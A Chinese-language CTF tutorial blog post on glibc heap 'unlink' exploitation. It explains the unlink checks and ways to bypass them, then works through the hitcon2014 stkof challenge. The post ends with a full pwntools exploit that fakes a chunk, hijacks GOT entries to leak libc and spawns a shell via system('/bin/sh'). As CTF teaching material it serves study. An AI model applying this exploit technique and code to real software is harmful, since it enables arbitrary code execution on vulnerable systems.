unlink快速入門

2020-11-13 14:00:51

0x01 正常unlink

當一個bin從記錄bin的雙向連結串列中被取下時,會觸發unlink。常見的比如:相鄰空閒bin進行合併,malloc_consolidate時。unlink的過程如下圖所示(來自CTFWIKI)主要包含3個步驟,就是這麼簡單。

  1. 根據p的fd和bk獲得雙向連結串列的上一個chunk FD和下一個chunk BK
  2. 設定FD->bk=BK
  3. 設定BK->fd=FD

在這裡插入圖片描述
下面看一下unlink的原始碼。

#安裝原始碼
apt install glibc-source
#下面目錄下有一個glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷貝到understand中進行原始碼閱讀

size檢查
第一個要檢查的是需要解鏈bin的size。在堆中有兩個地方儲存了p的size。第一個是當前p->size。第二個是next_chunk§->prev_size。比較兩個大小。
fd和bk檢查
檢查p是否在雙向連結串列中。在雙向連結串列中有兩個指標指向p。第一個是FD->bk,第二個是BK->fd。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
	//第一個檢查
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \
    BK = P->bk;								      \
    //第二個檢查
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
    	//完成上圖的unlink過程
    	//具體過程可以看原始碼
      }									      \
}

0x02 利用思路

要利用unlink首先要繞過前面提到的兩個檢查。繞過size檢查需要可以修改下一個chunk->prev_size。繞過fd和bk檢查需要能夠控制fd和bk。

1.第一種利用思路

利用條件

  1. 存在UAF可以修改p的fd和bk
  2. 存在一個指標指向p

利用方法

  1. 通過UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,繞過fd和bk檢查
  2. free下一個chunk,chunk0和chunk1合併,chunk0發生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫。
在這裡插入圖片描述

2.第二種方法思路

這種情況在做題中出現的情況比較多。因為malloc是返回的指標如果儲存在bss段或者heap中則正好滿足利用條件2。

利用條件

  1. 可以修改p的下一個chunk->pre_size和inuse位
  2. 存在一個指標指向chunk p的內容部分

利用方法

  1. 偽造fake_chunk。fakechunk->size=chunk0-0x10,可以繞過size檢查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,繞過fd和bk檢查。
  2. 修改下一個chunk的prev_size=chunksize§-0x10。因為fakechunk比chunk0小0x10。
  3. 修改下一個chunk的inuse位。
  4. free下一個堆塊chunk1。fakechunk和chunk1合併,fakechunk發生unlink,修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫。
在這裡插入圖片描述

0x03 例題 hitcon2014_stkof

1.檢視程式保護

可以修改GOT表,沒有PIE,很好。
在這裡插入圖片描述
試執行,沒有輸出。
在這裡插入圖片描述

2.檢視程式

選單題只是沒有把選單列印出來。1是add。2是edit。3是free。4是todo沒有實際用途
在這裡插入圖片描述
add函數
add就是正常的add

  1. 讀入size
  2. malloc對應的size
  3. 0x602100記錄的是已經申請的note數量
  4. 0x602140是heaparray指標陣列

在這裡插入圖片描述
edit函數
沒有驗證輸入的size大小,存在heap overflow

  1. 輸入index
  2. 輸入size
  3. 輸入content

在這裡插入圖片描述
delete函數

  1. 將堆塊釋放
  2. 將陣列置0
    在這裡插入圖片描述

3.利用方法

這裡正好滿足第二種利用思路,bss段存在G_ptr指向堆的內容,且能修改下一個堆塊的prev_size和inuse位。

  1. 構造fakechunk來unlink使bss段中的堆指標指向附近
  2. 利用edit函數,修改函數指標指向free_got
  3. 修改free_got為put_plt,之後再呼叫free時就會輸出指標指向的內容來洩露libc地址
  4. 將free_got改為system地址
  5. 呼叫free函數釋放掉內容為"/bin/sh"的堆塊來getshell

這裡還有一個問題就是緩衝區的問題。題目並沒有setbuf,所以IO緩衝區會在程式執行的時候在堆中進行申請。我們先連續建立3個0x20大小的chunk來檢視堆疊排布情況,方便後續unlink操作。如下圖,第一個申請的堆塊並沒有和後面幾個連續分佈,所以第一個堆塊不能用來做fakechunk。

在這裡插入圖片描述
建立堆塊

idx1用來解決IO快取的問題
idx2用來構造fakechunk和idx3來unlink
idx4用來防止和top chunk和並

head = 0x602140 #堆指標陣列
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

構造完成的堆空間分佈
在這裡插入圖片描述
0x602100儲存了note數量
0x602140儲存了指標陣列,索引從1開始
在這裡插入圖片描述
構造fakechunk

如下圖,黃框為構造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

在這裡插入圖片描述
unlink

釋放第3個堆塊,觸發unlink。0x602150中的指標已經指向bss段的空間當中。通過修改陣列中的指標來達到任意地址寫的目的

在這裡插入圖片描述
leak libc

將heaparray[1]指標覆蓋為free_got,heaparray[2]指標覆蓋為puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

在這裡插入圖片描述
將free_got的值覆蓋為puts_plt。下次呼叫free時實際呼叫的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#實際呼叫的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

在這裡插入圖片描述
getshell
修改free_got為system,並釋放內容為’/bin/sh’的堆塊來getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

在這裡插入圖片描述

4.exp

from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
	context.log_level='debug'
	context.terminal = ['terminator','-x','sh','-c']
	p = process('./stkof')
	elf = ELF('./stkof')
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('node3.buuoj.cn',28755)
	elf = ELF('./stkof')
	libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10


add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

0x04 總結

  1. 當free時(不是fastbin)如果前面或者後面的chunk是空閒的,則會發生合併
  2. 如果此時存在G_ptr指向前面的chunk,並且存在覆蓋的話可能存在unsafe_unlink

1.創造fakechunk,這裡針對64位元

presize=0
size= 原來size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10

2.覆蓋下一個chunk

presize = 原pre_size-0x10
size從0x91改為0x90

3.觸發unlink

free(chunk1)
chunk1會和前面的chunk0進行合併,斷鏈
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18 

參考連結:ctfwiki unlink